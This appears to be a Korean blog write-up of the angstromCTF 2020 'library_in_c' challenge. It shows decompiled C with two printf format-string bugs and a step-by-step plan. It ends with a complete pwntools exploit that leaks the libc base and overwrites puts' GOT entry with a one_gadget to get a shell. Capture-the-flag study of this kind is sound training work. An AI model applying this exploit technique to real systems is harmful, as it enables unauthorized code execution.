CTF/2020

angstormCTF library_in_c (64bit fsb)

64bit fsb를 공부한 후 다시 풀어보았다. 다시 보니까 작은 부분에서 실수해버려서 flag를 못 얻고 있었다...

공부해보니 엄청 쉬운 문제...

Writeup


File information


Code

Main

int __cdecl main(int argc, const char **argv, const char **envp)
{

 	__gid_t rgid; // ST0C_4
  	char s; // [rsp+10h] [rbp-90h]
  	char format; // [rsp+50h] [rbp-50h]
    unsigned __int64 v7; // [rsp+98h] [rbp-8h]
  ​
    v7 = __readfsqword(0x28u);
    setvbuf(_bss_start, 0LL, 2, 0LL);
    rgid = getegid();
    setresgid(rgid, rgid, rgid);
    puts("Welcome to the LIBrary in C!");
    puts("What is your name?");
    fgets(&s, 64, stdin);
    printf("Why hello there ", 64LL);
    printf(&s);
    puts("And what book would you like to check out?");
    fgets(&format, 64, stdin);
    printf("Your cart:\n - ", 64LL);
    printf(&format);
    puts("\nThat's great and all but uh...");
    puts("It turns out this library doesn't actually exist so you'll never get your book.");
    puts("Have a nice day!");
    return 0;
}
  • Main함수의 역할은 다음과 같다.
    • 첫 번째 입력은 변수 s에 총 64만큼 입력을 받고 변수 s를 출력한다. (fsb 발생)
    • 두 번째 입력은 변수 format에 총 64만큼 입력을 받고 출력한다. (fsb 발생)

Exploit

exploit은 pie도 해제되어있어 64bit fsb만 할 줄 알면 간단하게 풀 수 있다.

Exploit scenario

  1. 첫 번째 입력에서 main의 RET에 위치한 libc_start_main을 leak하여 libc_base를 구한다.
  2. libc_base를 이용하여 one_gadget을 구한다.
  3. 두 번쨰 입력에서 puts_got에 one_gadget으로 overwrite 한다.
  4. 끝!

exploit code

두 번째 입력 시 offset이 정확한지 유의하여 작성하자.

from pwn import *
​
p=remote("shell.actf.co",20201)
libc=ELF("libc.so.6")
​
puts_got = 0x601018
py = ''
py += "A"*8 # 6 + (16 / 8)
py += '%27$p'
​
p.sendlineafter("name?", py)
p.recvuntil("AAAAAAAA")
leak=p.recvline()
leak = int(leak,16)
libc_start_main = leak - 240
libc_off = libc.symbols["__libc_start_main"]
libc_base = libc_start_main - libc_off
​
​
one_off = 0x4526a #0x4526a #0xf02a4 #0xf1147
one_gadget = libc_base + one_off
​
one_gadget_low = one_gadget & 0xffff
one_gadget_middle = (one_gadget >> 16) & 0xffff
one_gadget_high = (one_gadget >> 32) & 0xffff
​
low = one_gadget_low
​
if one_gadget_middle > one_gadget_low:
    middle = one_gadget_middle - one_gadget_low
else:
    middle = 0x10000 + one_gadget_middle - one_gadget_low
​
if one_gadget_high > one_gadget_middle:
    high = one_gadget_high - one_gadget_middle
else:
    high = 0x10000 + one_gadget_high - one_gadget_middle
​
# offset 16
payload = ''
payload += '%{}c'.format(low)
payload += '%21$hn'
payload += '%{}c'.format(middle)
payload += '%22$hn'
payload += '%{}c'.format(high)
payload += '%23$hn'
payload += 'A' * (8 - len(payload) % 8)
print len(payload)
payload += p64(puts_got)
payload += p64(puts_got + 2)
payload += p64(puts_got + 4)
print len(payload)
p.sendlineafter("out?",payload)
​
p.interactive()

'CTF > 2020' 카테고리의 다른 글

Redpwn CTF  (0) 2020.06.26
NahamCon CTF  (0) 2020.06.15
DefenitCTF 후기  (0) 2020.06.08
angstormCTF 2020  (0) 2020.03.19